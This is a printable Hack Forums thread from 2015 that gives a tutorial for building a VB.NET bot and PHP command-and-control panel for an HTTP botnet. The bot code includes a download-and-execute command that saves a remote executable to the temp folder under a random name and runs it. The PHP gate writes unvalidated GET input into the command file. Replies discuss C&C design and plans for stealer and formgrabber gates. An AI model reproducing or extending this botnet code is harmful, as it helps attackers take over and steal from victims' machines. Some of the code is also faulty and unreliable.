Hack Forums
[.NET] make your own vb.net/php HTTP botnet - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] make your own vb.net/php HTTP botnet (/showthread.php?tid=4716770)



make your own vb.net/php HTTP botnet - DangerZone90 - Mar 5, 2015



basic commands for TUT
download and execute
message

first the vb.net bot side

above Public Class Form1 add
Quote:Imports System.Management
Imports System.Net



now under Public Class Form1, can also be added into a timer aswell by adding then double click the timer and just add this.
Quote:Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim W As New WebClient
Dim DownloadedFile As String = W.DownloadString("localhost/commands.txt")
Dim Command As String = DownloadedFile.Split("|")(0)
Dim AfterCommand As String = DownloadedFile.Split("|")(1)

Select Case Command.ToLower

Case Is = "m"

MsgBox(AfterCommand)

Case Is = "dl"
Dim newlocation As String = IO.Path.GetTempPath & "dsjkfhuise.exe"
Dim dle As New WebClient
dle.DownloadString(AfterCommand, newlocation)
Process.Start(newlocation)

Case Is = "nc"

'new command

End Select

End Sub


now php panel side

first add this to your php panel or php file
Quote:<form action="gate.php" method="get">
Command: <input type="text" name="command" />
<input type="submit" />
</form>


then make a gate.php and add
Quote:The command <?php echo $_GET["command"]; ?> has been sent.

</br>
</br>

<A HREF="javascript:history.go(-1)">back.</A>
<?php

$myFile = "commands.txt";
$fh = fopen($myFile, 'w') or die("File Open Failed.");
fwrite($fh, $_GET["command"]);
fclose($fh);

?>


the to stop or delete command make a stop.php and add
Quote:<?php

$file = 'commands.txt';
$fp = fopen($file , 'w');
fclose($fp);

?>


botnet side

working on now!



* - ๒lคςк ςคt - Mar 5, 2015

this will just work for 1 bot

but interessting for some newbies

Regards,

GSOmega


* - DangerZone90 - Mar 5, 2015

(Mar 5, 2015 01:10 PM)GSOmega Wrote:  this will just work for 1 bot

but interessting for some newbies

Regards,

GSOmega

ye working on the rest with the mysql ect


* - Hiiro - Mar 5, 2015

Don't center align code, it makes it hard to read.


* - еlixir - Mar 15, 2015

For the C&C Center, what would the best way for communication? Some panels write commands to a text file. I think having the bot pulling commands from a php file/mysqlDB using get would be the most optimal way of doing it.


* - DangerZone90 - Mar 15, 2015

(Mar 15, 2015 07:09 PM)еlixir Wrote:  For the C&C Center, what would the best way for communication? Some panels write commands to a text file. I think having the bot pulling commands from a php file/mysqlDB using get would be the most optimal way of doing it.

tut not done yet but once done, this will be using mysql+AES and webclient and two gates to keep it simple and secure🤝


* - Zettabit - Mar 16, 2015

(Mar 15, 2015 09:23 PM)DangerZone90 Wrote:  tut not done yet but once done, this will be using mysql+AES and webclient and two gates to keep it simple and secure🤝

Why in the fuck would you use two gate files? There is 100% no reason to do so, and this code looks fucking terrible.


* - DangerZone90 - Mar 19, 2015

(Mar 16, 2015 11:01 AM)Zettabit Wrote:  Why in the fuck would you use two gate files? There is 100% no reason to do so, and this code looks fucking terrible.

it keeps it more stable. as in 1 gate for bots to load on and 2nd one for stealer or formgrabber ect


* - shizzl3r - Mar 21, 2015

Thanks for the code, good for learning purposes for newbies like me xD